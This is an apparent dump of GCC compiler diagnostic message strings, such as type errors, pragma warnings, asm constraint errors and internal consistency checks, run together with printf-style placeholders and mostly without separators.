return types not compatible due to %<volatile%>function returns address of local variablefunction returns an aggregatefunction types not truly compatible in ISO Cfunction-scope %qs implicitly auto and declared %<__thread%>function_profiler supportfunction_profiler support for MMIXgcc driver version %s %sexecuting gcc version %s
gcc version %s %s
gcov %s%s
getting core file size maximum limit: %mglobal constructors not supported on this targetglobal declaration %q+#Dglobal destructors not supported on this targetglobal register variable %qD used in nested functionglobal register variable %qs used in nested functionglobal register variable follows a function definitionglobal register variable has initial valueglobal/static variable assignment has been interceptedgp is constant (but save/restore gp on indirect calls)had to relocate PCHhead insn %d for block %d not found in the insn streamhow much can given compilation unit grow because of the inlining (in percent)iWMMXt and hardware floating pointia64_print_operand: unknown codeif this code is reached, the program will abortignoring %<#pragma align%> for explicitly aligned %q+Dignoring %qV qualifiers added to function type %qTignoring asm-specifier for non-static local variable %q+Dignoring duplicate directory "%s"
ignoring malformed #pragma longcallignoring nonexistent directory "%s"
ignoring packed attribute because of unpacked non-POD field %q+#Dignoring unknown option %q.*s in %<-fdump-%s%>illegal aggregate type %qs specified for instance variable %qsillegal reference type specified for instance variable %qsimplicit declaration of function %qEimplicitly popped regs must be grouped at top of stackimpossible constraint in %<asm%>impossible register constraint in %<asm%>in %s, at %s:%din basic block %d:in declaration %q+Dinappropriate accumulator for %qsincoming edge count does not match number of PHI argumentsincompatible implicit declaration of built-in function %qDincompatible implicit declaration of function %qDincompatible type for argument %d of %qEincompatible types in assignment of %qT to %qTincomplete '%s' optionincomplete implementation of category %qsincomplete implementation of class %qsincomplete type %qT does not have member %qDinconsistent instance variable specificationinconsistent operand constraints in an %<asm%>incorrect insn:incorrect sharing of tree nodesincrement of pointer to unknown structureincrement of read-only member %qDincrement of read-only variable %qDindex in dimension %d is out of bounds at %Lindex value instead of field name in union initializerinit function found in object %sinitialization discards qualifiers from pointer target typeinitialization from distinct Objective-C typeinitialization from incompatible pointer typeinitialization left-hand side might be a candidate for a format attributeinitialization makes integer from pointer without a castinitialization makes pointer from integer without a castinitialization makes qualified function pointer from unqualifiedinitialization of a flexible array memberinitialization of flexible array member in a nested contextinitialized field overwritteninitialized field with side-effects overwritteninitialized variable %q+D is marked dllimportinitializer element is not computable at load timeinitializer element is not constantinitializer ends prematurelyinitializer fails to determine size of %q+Dinitializer fails to determine size of %qDinitializer for %qT must be brace-enclosedinitializer for floating value is not a floating constantinitializer invalid for static member with constructorinitializer specified for non-virtual method %q+Dinitializer specified for static member function %qDinitializer-string for array of chars is too longinline declaration of %qD follows declaration with attribute noinlineinline function %q+D declared as  dllimport: attribute ignoredinline function %q+D given attribute noinlineinline function %q+D used but never definedinlined_to pointer is wronginlined_to pointer refers to itselfinlined_to pointer set for noninline callersinlining failed in call to %q+F: %sinput operand constraint contains %qcinsn %d inside basic block %d but block_for_insn is %iinsn %d inside basic block %d but block_for_insn is NULLinsn %d is in multiple basic blocks (%d and %d)insn does not satisfy its constraints:insn outside basic blockinstall: %s%s
instance variable %qs accessed in class methodinstance variable %qs has unknown sizeinstance variable %qs is %s; this will be a hard error in the futureinstance variable %qs is declared %sinstance variable %qs is declared privateinstance variable assignment has been interceptedinstruction never executedinstruction scheduling not supported on this target machineint-array initialized from non-wide stringinteger constant is too large for %qs typeinteger overflow in expressionintegral expression %qE is not constantinterface %qs does not have valid constant string layoutinternal compiler error.  Bad address:internal compiler error.  Incorrect shift:internal compiler error.  Unknown mode:internal compiler error: internal consistency failureinternal error - invalid Utf8 nameinternal error: bad register: %dinternal error: cris_side_effect_mode_ok with bad operandsinternal error: sideeffect-insn affecting main effectinternal gcc abort in %s, at %s:%dinterrupt Service Routines cannot be coded in Thumb modeinvalid #pragma %sinvalid %%-codeinvalid %%A operandinvalid %%B operandinvalid %%C valueinvalid %%D valueinvalid %%E valueinvalid %%F valueinvalid %%G valueinvalid %%H valueinvalid %%J codeinvalid %%J valueinvalid %%K valueinvalid %%L valueinvalid %%M valueinvalid %%N valueinvalid %%O valueinvalid %%P operandinvalid %%P valueinvalid %%R valueinvalid %%S valueinvalid %%T valueinvalid %%U valueinvalid %%Y operandinvalid %%c operandinvalid %%d operandinvalid %%d valueinvalid %%f operandinvalid %%f valueinvalid %%h valueinvalid %%j codeinvalid %%j valueinvalid %%k valueinvalid %%m valueinvalid %%p valueinvalid %%q valueinvalid %%r valueinvalid %%s operandinvalid %%s valueinvalid %%t/%%b valueinvalid %%u valueinvalid %%v valueinvalid %%x valueinvalid %%xn codeinvalid 'asm': invalid --param value %qsinvalid ABI option: -mabi=%sinvalid PC in line number tableinvalid UNSPEC as operandinvalid Z register replacement for insninvalid access to non-static data member %qD of NULL objectinvalid addressinvalid application of %<sizeof%> to a function typeinvalid application of %qs to a member functioninvalid application of %qs to a void typeinvalid application of %qs to incomplete type %qT invalid argument of %qs attributeinvalid argument to %<__builtin_frame_address%>invalid argument to %<__builtin_return_address%>invalid base-class specificationinvalid cast to function type %qTinvalid conditional operandinvalid const_cast from type %qT to type %qTinvalid const_cast of an rvalue of type %qT to type %qTinvalid const_double operandinvalid constant in %<#pragma pack%> - ignoredinvalid constraints for operandinvalid constructor; you probably meant %<%T (const %T&)%>invalid conversion from %<__fpreg%>invalid conversion from %qT to %qTinvalid conversion to %<__fpreg%>invalid conversion to type %qT from type %qTinvalid covariant return type for %q+#Dinvalid definition of qualified type %qTinvalid expression as operandinvalid floating point abi: -mfloat-abi=%sinvalid floating point emulation option: -mfpe=%sinvalid floating point option: -mfpu=%sinvalid in-class initialization of static data member of non-integral type %qTinvalid initial value for member %qsinvalid initialization of non-const reference of type %qT from a temporary of type %qTinvalid initialization of reference of type %qT from expression of type %qTinvalid initializerinvalid insn:invalid lvalue in asm output %dinvalid maskinvalid member function declarationinvalid member template declaration %qDinvalid operand code '%c'invalid operand for 'A' modifierinvalid operand for 'D' modifierinvalid operand for 'H' modifierinvalid operand for 'O' modifierinvalid operand for 'T' modifierinvalid operand for 'b' modifierinvalid operand for 'e' modifierinvalid operand for 'm' modifierinvalid operand for 'o' modifierinvalid operand for 'p' modifierinvalid operand for 'z' modifierinvalid operand for code '%c'invalid operand for code: '%c'invalid operand in the instructioninvalid operand modifier letterinvalid operand output codeinvalid operand to %%H/%%L codeinvalid operand to %%N codeinvalid operand to %%Rinvalid operand to %%R codeinvalid operand to %%Sinvalid operand to %%T/%%B codeinvalid operand to %%U codeinvalid operand to %%V codeinvalid operand to %%p codeinvalid operand to %%s codeinvalid operation on %<__fpreg%>invalid option argument %qsinvalid parameter %qsinvalid parameter combination for AltiVec intrinsicinvalid parameter type %qTinvalid pointer mode %qsinvalid pointer to bit-field %qDinvalid punctuation %qc in constraintinvalid qualifiers on non-member function typeinvalid receiver type %qsinvalid redeclaration of %q+Dinvalid reference prefixinvalid register in the instructioninvalid register in the move instructioninvalid register name for %q+Dinvalid rotate insninvalid rtl sharing found in the insninvalid second argument to %<__builtin_prefetch%>; using zeroinvalid shift operandinvalid static_cast from type %qT to type %qTinvalid storage class for function %qsinvalid template declaration of %qDinvalid third argument to %<__builtin_prefetch%>; using zeroinvalid thread pointer option: -mtp=%sinvalid type %<void%> for newinvalid type %qT as initializer for a vector of type %qTinvalid type %qT declared %<friend%>invalid type argumentinvalid type argument of %qsinvalid types %<%T[%T]%> for array subscriptinvalid use of %%d, %%x, or %%Xinvalid use of %<::%>invalid use of %<restrict%>invalid use of %<this%> at top levelinvalid use of %<this%> in non-member functioninvalid use of %qDinvalid use of %qs on pointer to memberinvalid use of '%%%c'invalid use of a pointer to an incomplete type in pointer arithmeticinvalid use of array with unspecified boundsinvalid use of const_cast with type %qT, which is a pointer or reference to a function typeinvalid use of const_cast with type %qT, which is not a pointer, reference, nor a pointer-to-data-member typeinvalid use of flexible array memberinvalid use of incomplete typedef %qDinvalid use of member %q+D in static member functioninvalid use of non-lvalue arrayinvalid use of non-static data member %q+Dinvalid use of non-static data member %qDinvalid use of non-static member functioninvalid use of non-static member function %qDinvalid use of qualified-name %<%D::%D%>invalid use of qualified-name %<%T::%D%>invalid use of qualified-name %<::%D%>invalid use of structure with flexible array memberinvalid use of template-id %qD in declaration of primary templateinvalid use of undefined type %<%s %E%>invalid use of void expressioninvalid vector type for attribute %qEinvalid version number `%s'invoke[non-static] on static methodinvokestatic on abstract methodinvokestatic on non static methodits dest_idx should be %d, not %dits scope is only this definition or declaration, which is probably not what you wantiwmmxt abi requires an iwmmxt capable cpujcf-dump: no classes specified
jump bypassing disabledjump into scope of identifier with variably modified typejump into statement expressionjump to case labeljump to label %q+Djump to label %qDjunk at end of #pragma %sjunk at end of #pragma GCC java_exceptionsjunk at end of #pragma ghs endsdajunk at end of #pragma ghs endtdajunk at end of #pragma ghs endzdajunk at end of #pragma ghs interruptjunk at end of #pragma ghs sectionjunk at end of #pragma ghs startsdajunk at end of #pragma ghs starttdajunk at end of #pragma ghs startzdajunk at end of #pragma longcalljunk at end of %<#pragma GCC visibility%>junk at end of %<#pragma fini%>junk at end of %<#pragma pack%>junk at end of '#pragma options'junk at end of '#pragma unused'junk at end of signature stringkeyword %<export%> not implemented, and will be ignoredlabel %q+D declared but not definedlabel %q+D defined but not usedlabel %q+D used but not definedlabel %qE referenced outside of any functionlabel named wchar_tlang_* check: failed in %s, at %s:%dlanguage %s not recognizedlanguage string %<"%E"%> not recognizedlarge integer implicitly truncated to unsigned typelayout of classes derived from empty class %qT may change in a future version of GCCld returned %d exit statusleft precisionleft precision in strfmon formatleft shift count >= width of typeleft shift count is negativeleft-hand operand of comma expression has no effectlength modifierlength modifier in printf formatlength modifier in scanf formatlength modifier in strfmon formatlibraries: %s
library function %q#D redeclared as non-function %q#Dlibrary lib%s not foundlo_sum not of registerlocal class %q#T shall not have static data member %q#Dlocal declaration of %qs hides instance variablelong long constant not a valid immediate operandlong, short, signed or unsigned used invalidly for %qsloop %d's header does not belong directly to itloop %d's header does not have exactly 2 entriesloop %d's latch does not belong directly to itloop %d's latch does not have exactly 1 successorloop %d's latch does not have header as successorloop %d's latch is marked as part of irreducible regionlower value in case label range less than minimum value for typemacro name missing after %qsmaking %qD staticmalformed #pragma GCC visibility pushmalformed #pragma builtinmalformed #pragma extern_prefix, ignoredmalformed #pragma ghs sectionmalformed #pragma redefine_extname, ignoredmalformed #pragma weak, ignoredmalformed %<#pragma pack%> - ignoredmalformed %<#pragma pack(pop[, id])%> - ignoredmalformed %<#pragma pack(push[, id][, <n>])%> - ignoredmalformed '#pragma options align={mac68k|power|reset}', ignoringmalformed '#pragma options', ignoringmalformed spec function argumentsmalformed spec function namemask must be an immediatematching constraint does not allow a registermatching constraint not valid in output operandmatching constraint references invalid operand numbermaximum value of parameter %qs is %umay not use both -EB and -ELmay not use both -m32 and -m64media functions are not available unless -mmedia is usedmember %q+#D with constructor not allowed in anonymous aggregatemember %q+#D with constructor not allowed in unionmember %q+#D with copy assignment operator not allowed in anonymous aggregatemember %q+#D with copy assignment operator not allowed in unionmember %q+#D with destructor not allowed in anonymous aggregatemember %q+#D with destructor not allowed in unionmember %qD cannot be declared both virtual and staticmember %qD conflicts with virtual function table field namemember %qD declared as friend before type %qT definedmember %qD is uninitialized referencemember %qD with uninitialized const fieldsmember functions are implicitly friends of their classmemory input %d is not directly addressablemethod '%s' not found in classmethod declaration not in @interface contextmethod definition for %<%c%s%> not foundmethod definition not in @implementation contextmethod possibly missing a [super dealloc] callminimum value of parameter %qs is %umips16 function profilingmips_debugger_offset called with non stack/frame/arg pointermismatched argumentsmismatching signature for field '%s' in '%s'misplaced ConstantValue attribute (not in any field)missing $ operand number in formatmissing %<(%> after %<#pragma GCC visibility push%> - ignoredmissing %<(%> after %<#pragma pack%> - ignoredmissing '(' after '#pragma unused', ignoringmissing ')' after '#pragma unused', ignoringmissing Code attributemissing REG_EH_REGION note in the end of bb %imissing argument in %<__builtin_args_info%>missing argument to "%s"missing argument to "-%s"missing argument to '%s' optionmissing barrier after block %imissing braces around initializermissing braces around initializer for %qTmissing callgraph edge for call stmt:missing close brace for named operandmissing close parenmissing definitionmissing edge %i->%imissing field '%s' in '%s'missing filename after %qsmissing fill character at end of strfmon formatmissing initializermissing initializer for member %qDmissing makefile target after %qsmissing numbermissing open parenmissing operandmissing path after %qsmissing terminating %c charactermissing type-name in typedef-declarationmixing C++ and Java catches in a single translation unitmno-cygwin and mno-win32 are not compatiblemode %qs applied to inappropriate typemore than %d operands in %<asm%>move insn not handledms-bitfields not supported for objcmudflap cannot track %qs in stub functionmudflap cannot track unknown size extern %qsmudflap checking not yet implemented for ARRAY_RANGE_REFmudflap: this language is not supportedmultidimensional array must have bounds for all dimensions except the firstmultilib exclusion '%s' is invalidmultilib exclusions '%s' is invalidmultilib select '%s' is invalidmultilib spec '%s' is invalidmultiple %s named %<%c%s%> foundmultiple default labels in one switchmultiple definition of %q#Tmultiple fields in union %qT initializedmultiple function type attributes specifiedmultiple hot/cold transitions found (bb %i)multiple inline callersmultiple parameters named %q+Dmultiple storage classes in declaration of %qsmultiple storage classes in declaration specifiersmultiple types in one declarationmust #include <typeinfo> before using typeidmvcle usemysterious repository information in %sname %qD used in a GNU-style designated initializer for an arrayname %qT has incomplete typename lookup of %qD changedname missing for member functionnamespace %qD not allowed in using-declarationnamespace alias %qD not allowed here, assuming %qDnamespace-scope anonymous aggregates must be staticneed to insert runtime check for %snegative insn lengthnegative integer implicitly converted to unsigned typenegative nesting depth of region %inegative width in bit-field %q+Dnegative width in bit-field %qsneither the destructor nor the class-specific operator delete will be called, even if they are declared when the class is defined.nested assembly dialect alternativesnested extern declaration of %qDnested function %q+D declared but never definednested function %qs declared %<extern%>nested redefinition of %<enum %E%>nested redefinition of %<struct %E%>nested redefinition of %<union %E%>new cannot be applied to a function typenew cannot be applied to a reference typeno %<%c%s%> method foundno %q#D member function declared in class %qTno FUNCTION_PROFILER for CRISno argumentsno arguments for spec functionno class name specified with %qsno class template named %q#T in %q#Tno closing %<]%> for %<%%[%> formatno coverage for function %qs foundno data type for mode %qsno description yetno immediate_use listno input file specifiedno input filesno input files; unwilling to write output filesno integral type can represent all of the enumerator values for %qTno low registers available for popping high registersno match for call to %<(%T) (%A)%>no matches converting function %qD to type %q#Tno matching function for call to %<%D(%A)%>no matching function for call to %<%T::%s(%A)%#V%>no matching push for %<#pragma GCC visibility pop%>no matching template for %qD foundno members matching %<%T::%D%> in %q#Tno previous declaration for %q+Dno previous prototype for %q+Dno profiling of 64-bit code for this ABIno register in addressno return statement in function returning non-voidno sclass for %s stab (0x%x)no suitable %qD found in class %qTno super class declared in @interface for %qsno super class declared in interface for %qsno unique final overrider for %qD in %qTnon-addressable variable inside an alias setnon-local function %q#D uses anonymous typenon-local function %q#D uses local type %qTnon-local variable %q#D uses anonymous typenon-local variable %q#D uses local type %qTnon-lvalue array in conditional expressionnon-member %qs cannot be declared %<mutable%>non-object member %qs cannot be declared %<mutable%>non-parameter %qs cannot be a parameter packnon-static const member %q+#D in class without a constructornon-static declaration of %q+D follows static declarationnon-static initialization of a flexible array membernon-static reference %q+#D in class without a constructornon-template type %qT used as a templatenon-thread-local declaration of %q+D follows thread-local declarationnonconstant array index in initializernonnull argument has invalid operand number (argument %lu)nonnull argument references non-pointer operand (argument %lu, operand %lu)nonnull argument with out-of-range operand number (argument %lu, operand %lu)nonnull attribute without arguments on a non-prototypenot a valid Java .class filenot configured for ABI: '%s'not configured with sysroot headers suffixnot enough type informationnot protecting function: no buffer at least %d bytes longnot protecting local variables: variable length buffernot yet implemented: latency-optimized inline square rootnote: null argument where non-null required (argument %lu)number must be 0 or 1number of arguments doesn%'t match built-in prototypenumber of arguments doesn%'t match prototypenumber of bb notes in insn chain (%d) != n_basic_blocks (%d)number of components of the vector not a power of twonumber of counters is %d instead of %dobject %qE of incomplete type %qT will not be accessed in %sobject missing in reference to %q+Dobject missing in use of %qEobject of incomplete type %qT will not be accessed in %sobject of type %qT will not be accessed in %sobsolete option -I- used, please use -iquote insteadoffset of %q+D is not ABI-compliant and may change in a future version of GCCoffset of empty base %qT may not be ABI-compliant and maychange in a future version of GCCoffset of virtual base %qT is not ABI-compliant and may change in a future version of GCCoffset outside bounds of constant stringomitted middle operand to %<?:%> operand cannot be mangledonly declarations of constructors can be %<explicit%>only initialized variables can be placed into program memory areaonly uninitialized variables can be placed in a .bss sectiononly uninitialized variables can be placed in the .noinit sectiononly weak aliases are supported in this configurationopaque vector types cannot be initializedopen /dev/zero: %mopening dependency file %s: %mopening output file %s: %moperand 1 must be a hard registeroperand constraint contains incorrectly positioned %<+%> or %<=%>operand constraints for %<asm%> differ in number of alternativesoperand is neither a constant nor a condition code, invalid operand code 'c'operand number missing after %%-letteroperand number out of rangeoperand number out of range in formatoperand number specified for format taking no argumentoperand number specified with suppressed assignmentoperation on %qE may be undefinedoptimization may eliminate reads and/or writes to register variablesoptimizing for size and code size would growoptions enabled: options passed: ordered comparison of pointer with integer zerooriginally indirect function call not considered for inliningout of memoryouter block of region %i is wrongoutput constraint %d cannot be specified together with "%s" clobberoutput constraint %d must specify a single registeroutput constraint %qc for operand %d is not at the beginningoutput filename specified twiceoutput number %d not directly addressableoutput operand %d must use %<&%> constraintoutput operand constraint lacks %<=%>output operand is constant in %<asm%>output regs must be grouped at top of stackoutput_move_single:overflow in array dimensionoverflow in constant expressionoverflow in enumeration valuesoverflow in enumeration values at %qDoverflow in implicit constant conversionpacked attribute causes inefficient alignmentpacked attribute causes inefficient alignment for %q+Dpacked attribute causes inefficient alignment for %qspacked attribute is unnecessarypacked attribute is unnecessary for %q+Dpacked attribute is unnecessary for %qspadding struct size to alignment boundarypadding struct to align %q+Dparameter %P has incomplete type %qTparameter %P of %qD has incomplete type %qTparameter %q+D declared %<inline%>parameter %q+D declared with void typeparameter %q+D has incomplete typeparameter %q+D has just a forward declarationparameter %qD declared voidparameter %qD includes %s to array of unknown bound %qTparameter %qD invalidly declared method typeparameter %qD is initializedparameter %u (%q+D) has incomplete typeparameter %u (%q+D) has void typeparameter may not have variably modified type %qTparameter names (without types) in function declarationpartial specialization %qT declared %<friend%>passing %qT chooses %qT over %qTpassing argument %d of %qE as %<float%> rather than %<double%> due to prototypepassing argument %d of %qE as complex rather than floating due to prototypepassing argument %d of %qE as complex rather than integer due to prototypepassing argument %d of %qE as floating rather than complex due to prototypepassing argument %d of %qE as floating rather than integer due to prototypepassing argument %d of %qE as integer rather than complex due to prototypepassing argument %d of %qE as integer rather than floating due to prototypepassing argument %d of %qE as signed due to prototypepassing argument %d of %qE as unsigned due to prototypepassing argument %d of %qE discards qualifiers from pointer target typepassing argument %d of %qE from distinct Objective-C typepassing argument %d of %qE from incompatible pointer typepassing argument %d of %qE makes integer from pointer without a castpassing argument %d of %qE makes pointer from integer without a castpassing argument %d of %qE makes qualified function pointer from unqualifiedpassing argument %d of %qE with different width due to prototypepassing floating point arguments in fp regs not yet supportedpch_preprocess pragma should only be used with -fpreprocessedpex_init failedpointer arithmetic for garbage-collected objects not allowedpointer escapes but its name tag is not call-clobberedpointer of type %<void *%> used in arithmeticpointer of type %<void *%> used in subtractionpointer targets in assignment differ in signednesspointer targets in initialization differ in signednesspointer targets in passing argument %d of %qE differ in signednesspointer targets in return differ in signednesspointer to a function used in arithmeticpointer to a function used in subtractionpointer to member conversion via virtual base %qTpointer to member function used in arithmeticpointer type mismatch in conditional expressionpointer value used where a complex was expectedpointer value used where a floating point value was expectedpointer-to-member function %E cannot be called without an object; consider using .* or ->*pointer/integer type mismatch in conditional expressionpointers are not permitted as case valuespointers with a memory tag, should have points-to setspossible problem detected in invocation of delete operator:post-increment address is not a registerpostfix %qD must take %<int%> as its argumentpostfix %qD must take %<int%> as its second argumentpostfix %qD should return %qTpre-decrement address is not a registerpre-increment address is not a registerprecisionprecision in printf formatpredicated Thumb instructionpredicated instruction in conditional sequenceprefix %qD should return %qTprev_bb of %d should be %d, not %dprevious declaration %q+Dprevious declaration of %q+Dprevious declaration of %q+D was hereprevious declaration of %q+D was inlineprevious declaration of %q+D with attribute noinlineprevious declaration of %qsprevious definition of %q+D was hereprevious external decl of %q+#Dprevious implicit declaration of %q+D was hereprevious non-function declaration %q+#Dprofiler support for VxWorksprofiling not supported with -mg
programs: %s
promoted argument %qD doesn%'t match built-in prototypepromoted argument %qD doesn%'t match prototypeprotocol %qs has circular dependencyprototype for %q#D does not match any in class %qTprototype for %q+D declares argument %d with incompatible typeprototype for %q+D declares fewer arguments than previous old-style definitionprototype for %q+D declares more arguments than previous old-style definitionprototype for %q+D follows non-prototype definitionprovided for %q+Dpseudo-destructor is not calledqualified function types cannot be used to declare free functionsqualified function types cannot be used to declare static member functionsqualifiers are not allowed on declaration of %<operator %T%>qualifiers can only be specified for objects and functionsrange expressions in switch statements are non-standardread-only member %qD used as %<asm%> outputread-only variable %qD used as %<asm%> outputreading class %s for the second time from %sreading through null pointer (argument %d)recursive inliningrecursive type %qT undefinedredeclaration of %<enum %E%>redeclaration of %<wchar_t%> as %qTredeclaration of %q+D with different visibility (old visibility preserved)redeclaration of %q+D with no linkageredeclaration of %qT as a non-templateredeclaration of C++ built-in type %qTredeclaration of enumerator %q+Dredefined extern inline functions are not considered for inliningredefinition of %<struct %E%>redefinition of %<union %E%>redefinition of %q#Tredefinition of %q+Dredefinition of parameter %q+Dredefinition of typedef %q+Dredundant redeclaration of %q+Dredundant redeclaration of %qD in same scopereference %qs is ambiguous: appears in interface %qs and interface %qsreference to %qD is ambiguousreference to local variable %q+D returnedreference to non-lvalue returnedregion %i may contain throw and is contained in region that may notregion_array is corrupted for region %iregister name given for non-register variable %q+Dregister name not specified for %q+Dregister specified for %q+D isn%'t suitable for data typeregister used for two global register variablesregister variable %qD used in nested functionregister variable %qs used in nested functionregisters IX, IY and Z used in the same INSNreimplementation of class %qsremoving .rpo filerename spec %s to %s
renaming .rpo filerepeated %s in formatrepository file '%s' does not contain command-line argumentsrequest for implicit conversion from %qT to %qT not permitted in C++request for member %qD in %qE, which is of non-class type %qTrequest for member %qD is ambiguousrequest for member %qD is ambiguous in multiple inheritance latticerequest for member %qE in something not a structure or unionrequested alignment for %q+D is greater than implemented alignment of %wurequested alignment is not a constantrequested alignment is not a power of 2requested alignment is too largerequested init_priority is not an integer constantrequested init_priority is out of rangerequested init_priority is reserved for internal userequested position is less than zerorequested position is not an integer constantresult of %<operator->()%> yields non-pointer resultreturn discards qualifiers from pointer target typereturn edge does not point to exit in bb %dreturn from incompatible pointer typereturn makes integer from pointer without a castreturn makes pointer from integer without a castreturn makes qualified function pointer from unqualifiedreturn not followed by barrierreturn type %q#T is incompletereturn type defaults to %<int%>return type is an incomplete typereturn type might be a candidate for a format attributereturn type of %q+D is not %<int%>return type specification for constructor invalidreturn type specification for destructor invalidreturn type specified for %<operator %T%>return-statement with a value, in function returning 'void'return-statement with no value, in function returning %qTreturning a value from a constructorreturning a value from a destructorreturning reference to temporaryright precisionright precision in strfmon formatright shift count >= width of typeright shift count is negativerounding mode not supported for VAX floatssay %<typename %E%> if a type is meantscalar object %qD requires one element in initializersecond argument of %q+D should be %<char **%>second argument to %<__builtin_prefetch%> must be a constantsecond parameter of %<va_start%> not last named argumentsection attribute not allowed for %q+Dsection of %q+D conflicts with previous declarationselector must be an immediateselector must be an integer constant in the range 0..%wisetting core file size limit to maximum: %mshadowing %s function %q#Dshadowing previous type declaration of %q#Dshared and mdll are not compatibleshared call_stmt:shared rtxside effects not recomputed when ADDR_EXPR changedsigned and unsigned type in conditional expressionsize assigned to %qT may not be ABI-compliant and may change in a future version of GCCsize in array new must have integral typesize of %q+D is %d bytessize of %q+D is larger than %wd bytessize of array %qD has non-integral type %qTsize of array %qD is negativesize of array %qD is not an integral constant-expressionsize of array %qs has non-integer typesize of array %qs is negativesize of array %qs is too largesize of array has non-integral type %qTsize of array is negativesize of array is not an integral constant-expressionsize of loop %d should be %d, not %dsize of return value of %q+D is %u bytessize of return value of %q+D is larger than %wd bytessize of variable %q+D is too largesizeof(long double) is 12sizeof(long double) is 16sorry, unimplemented: sorry: semantics of inline function static data %q+#D are wrong (you'll wind up with multiple copies)spec '%s' has invalid '%%0%c'spec '%s' has invalid '%%W%cspec '%s' has invalid '%%x%c'spec '%s' invalidspec '%s' is invalidspec failure: '%%*' has not been initialized by pattern matchspec failure: more than one arg to SYSROOT_HEADERS_SUFFIX_SPECspec failure: more than one arg to SYSROOT_SUFFIX_SPECspec failure: unrecognized spec option '%c'spec file has no spec for linkingspec is '%s'

specialization %qT after instantiation %qTspecialization of %qD in different namespacespecialization of %qT after instantiationspecializing %q#T in different namespacespecified mode too small for enumeral valuesspecifying vector types with __attribute__ ((mode)) is deprecatedspecs %%include syntax malformed after %ld charactersspecs %%rename syntax malformed after %ld charactersspecs %s spec was not found to be renamedspecs file malformed after %ld charactersspecs unknown %% command after %ld charactersspurious trailing %<%%%> in formatstack frame not a multiple of 8 bytes: %wdstack frame not a multiple of octabyte: %wdstack limit expression is not supportedstack limits not supported on this targetstack underflow - dup* operationstackframe too big: %d bytesstandard conversions are not allowed in this contextstatement marked for throw in middle of blockstatement marked for throw, but doesn%'tstatement with no effectstatic %qs cannot be declared %<mutable%>static declaration of %q+D follows non-static declarationstatic is not supported on TPF-OSstatic member %qD cannot be a bit-fieldstatic member %qD declared %<register%>static member function %q#D declared with type qualifiersstatic or type qualifiers in non-parameter array declaratorstatic variable %q+D is marked dllimportstatically allocated instance of Objective-C class %qsstdcall and cdecl attributes are not compatiblestdcall and fastcall attributes are not compatiblestorage class %<__thread%> invalid for function %qsstorage class %<auto%> invalid for function %qsstorage class %<register%> invalid for function %qsstorage class %qD applied to template instantiationstorage class specified for %qsstorage class specified for parameter %qsstorage class specified for structure field %qsstorage class specified for typenamestorage class specifiers invalid in friend function declarationsstorage class specifiers invalid in parameter declarationsstorage size of %q+D isn%'t constantstorage size of %q+D isn%'t knownstorage size of %qD isn't constantstorage size of %qD isn't knownstray %<\%o%> in programstray %qc in programstray %qs in programstrftime formats cannot format argumentsstring length %qd is greater than the length %qd ISO C%d compilers are required to supportstrong using only meaningful at namespace scopestrong-cast assignment has been interceptedstrong-cast may possibly be neededstruct has no membersstruct has no named membersstructure %qD with uninitialized const membersstructure %qD with uninitialized reference membersstructure alignment must be a small power of two, not %dstructure size boundary can only be set to %ssubframework include %s conflicts with framework includesubscript missing in array referencesubscripted value is neither array nor pointersubscripted value is pointer to functionsubscripting array declared %<register%>suggest explicit braces around empty body in %<do%> statementsuggest parentheses around assignment used as truth valuesupport for mode %qsswitch %qs is no longer supportedswitch '%s' does not start with '-'switch -mcpu=%s conflicts with -march= switchswitch quantity not an integerswitch statement of size %lu entries too largesystem path '%s' is not absolutetaking address of temporarytaking the address of a label is non-standardtarget CPU does not support THUMB instructionstarget CPU does not support interworkingtarget format does not support infinitytarget system does not support debug outputtarget system does not support the "%s" debug formattemplate argument %d is invalidtemplate argument required for %<%s %T%>template declaration of %q#Dtemplate header not allowed in member definition of explicitly specialized classtemplate instantiation depth exceeds maximum of %d (use -ftemplate-depth-NN to increase the maximum) instantiating %qDtemplate parameters cannot be friendstemplate parameters do not match templatetemplate type parameters must use the keyword %<class%> or %<typename%>template-id %qD used as a declaratorthat particular -g option is invalid with -maout and -melinuxthe ' ' printf flagthe '!' strfmon flagthe '#' printf flagthe '#' strftime flagthe ''' printf flagthe ''' scanf flagthe '(' strfmon flagthe '+' printf flagthe '+' strfmon flagthe '-' printf flagthe '-' strfmon flagthe '-' strftime flagthe '0' printf flagthe '0' strftime flagthe 'E' strftime modifierthe 'I' printf flagthe 'I' scanf flagthe 'O' modifierthe 'O' strftime modifierthe '^' strfmon flagthe '^' strftime flagthe '_' strftime flagthe 'a' scanf flagthe 'm' scanf flagthe 'q' diagnostic flagthe -shared option is not currently supported for VAX ELFthe assignment suppression scanf featurethe default argument for parameter %d of %qD has not yet been parsedthe first parameter of %<operator new%> cannot have a default argumentthe m210 does not have little endian supportthe mangled name of %qD will change in a future version of GCCthe offset of %qD may not be ABI-compliant and may change in a future version of GCCthe type being destroyed is %qT, but the destructor refers to %qTthere are no arguments to %qD that depend on a template parameter, so a declaration of %qD must be availablethird argument of %q+D should probably be %<char **%>third argument to %<__builtin_prefetch%> must be a constantthis decimal constant is unsigned only in ISO C90this decimal constant would be unsigned in ISO C90this is the insn:this media function is only available on the fr500this target machine does not have delayed branchesthread-local COMMON data not implementedthread-local declaration of %q+D follows non-thread-local declarationthrowing NULL, which has integral, not pointer typetime in %s: %ld.%06ld (%ld%%)
tls_model argument must be one of "local-exec", "initial-exec", "local-dynamic" or "global-dynamic"tls_model argument not a stringto generate dependencies you must specify either -M or -MMto refer to a type member of a template parameter, use %<typename %E%>too few arguments for formattoo few arguments to %%:version-comparetoo few arguments to functiontoo few arguments to function %<va_start%>too few arguments to function %qEtoo large function value type, needs %d registers, have only %d registers for thistoo late for # directive to set debug directorytoo many #pragma options align=resettoo many alternatives in %<asm%>too many arguments for formattoo many arguments to %%:version-comparetoo many arguments to functiontoo many arguments to function %qEtoo many filenames given.  Type %s --help for usagetoo many initializers for %qTtoo many input filestoo many outgoing branch edges from bb %itop-level declaration of %qs specifies %<auto%>traditional C rejects automatic aggregate initializationtraditional C rejects initialization of unionstraditional C rejects string constant concatenationtrampolines not supportedtrap mode not supported for VAX floatstrap mode not supported on Unicos/Mktree check: %s, have %s in %s, at %s:%dtree check: accessed elt %d of tree_vec with %d elts in %s, at %s:%dtree check: accessed operand %d of %s with %d operands in %s, at %s:%dtree check: expected class %qs, have %qs (%s) in %s, at %s:%dtree check: expected none of %s, have %s in %s, at %s:%dtree list ends on depth %itry reducing the number of local variablestry removing the parentheses around the type-idtry using %qE insteadtrying to finish struct, but kicked out due to previous parse errorstrying to make class %qT a friend of global scopetwo or more data types in declaration of %qstwo or more data types in declaration specifierstype %q#T argument given to %<delete%>, 